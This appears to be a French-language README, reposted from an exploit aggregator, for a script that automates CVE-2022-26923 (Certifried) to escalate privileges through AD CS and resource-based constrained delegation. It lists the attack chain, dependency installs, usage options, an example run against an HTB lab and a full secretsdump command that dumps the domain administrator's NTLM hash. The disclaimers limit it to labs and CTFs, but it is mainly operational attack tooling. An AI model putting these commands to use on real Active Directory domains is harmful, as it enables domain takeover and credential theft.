Share
## https://sploitus.com/exploit?id=3EC3F460-623E-5720-B99E-FD75F1C2FFEF
# CVE-2022-26923 â Certifried Exploit (AD CS Abuse)
Automatisation de lâexploitation de **CVE-2022-26923 (Certifried)** permettant une Ă©lĂ©vation de privilĂšges via abus dâActive Directory Certificate Services (AD CS) et Resource-Based Constrained Delegation (RBCD), menant au dump du hash NTLM dâun compte administrateur de domaine.
> â ïž **Usage pĂ©dagogique uniquement / Lab / HTB**
>
> Ne pas utiliser en environnement non autorisé.
---
## đŻ Description
Ce script automatise la chaĂźne dâattaque suivante :
1. CrĂ©ation dâun compte machine contrĂŽlĂ©
2. Modification du `dNSHostName`
3. Demande dâun certificat via AD CS
4. Authentification par certificat
5. Abus RBCD
6. S4U2Self + S4U2Proxy
7. RĂ©cupĂ©ration dâun ticket Kerberos pour `administrator`
8. Dump NTLM via `secretsdump.py`
---
## đ VulnĂ©rabilitĂ©
- **CVE-2022-26923 â "Certifried"**
- Affecte les environnements Active Directory utilisant AD CS
- Permet lâusurpation dâidentitĂ© dâun Domain Controller via certificat mal Ă©mis
---
## đ Outils utilisĂ©s
- `certipy-ad`
- `bloodyAD`
- `getST.py` (Impacket)
- `secretsdump.py` (Impacket)
- `openssl`
---
## đŠ Installation des dĂ©pendances
```bash
pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
```
---
## đ Utilisation
```bash
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
```
### Options disponibles
```
-d, --dc-ip IP du Domain Controller
-D, --domain Nom du domaine
-u, --user Utilisateur valide
-p, --pass Mot de passe utilisateur
-c, --comp-name Nom machine contrÎlée
-C, --comp-pass Mot de passe machine
-a, --ca-name Nom du Certificate Authority
-t, --template Template certificat
-f, --pfx-file Nom fichier PFX
-H, --dc-hostname Hostname du DC
-A, --dc-account Compte DC
-i, --impersonate Compte cible Ă impersonner
--verbose Mode debug
-h, --help Aide
```
---
## đ§ Exemple (HTB Certified)
```bash
./CVE-2022-26923.sh \
-d 10.129.1.39 \
-D certifried.htb \
-u steven.murray@certifried.htb \
-p 'Ch4ng3m3!' \
--verbose
```
---
## đ„ RĂ©sultat attendu
Ă la fin de lâexĂ©cution :
- Un ticket Kerberos `administrator.ccache`
- Le dump NTLM du compte `administrator`
En cas de problĂšme Kerberos :
```bash
KRB5CCNAME=/tmp/administrator.ccache secretsdump.py \
-just-dc-ntlm -just-dc-user administrator \
certifried.htb/administrator@dc.certifried.htb \
-k -no-pass -dc-ip 10.129.1.39
```
---
## đ§Ź Fonctionnement interne
```
Machine Account Creation
â
dNSHostName spoofing
â
Certificate Request (Machine Template)
â
Authentication via PFX
â
RBCD abuse (bloodyAD)
â
S4U2Self + S4U2Proxy
â
Kerberos Ticket extraction
â
NTLM dump via secretsdump
```
---
## â ïž Disclaimer
Ce projet est fourni Ă des fins :
- éducatives
- de recherche en sécurité
- de lab personnel
- de CTF / HTB
Lâauteur dĂ©cline toute responsabilitĂ© en cas dâusage non autorisĂ©.
---
## đ Licence
MIT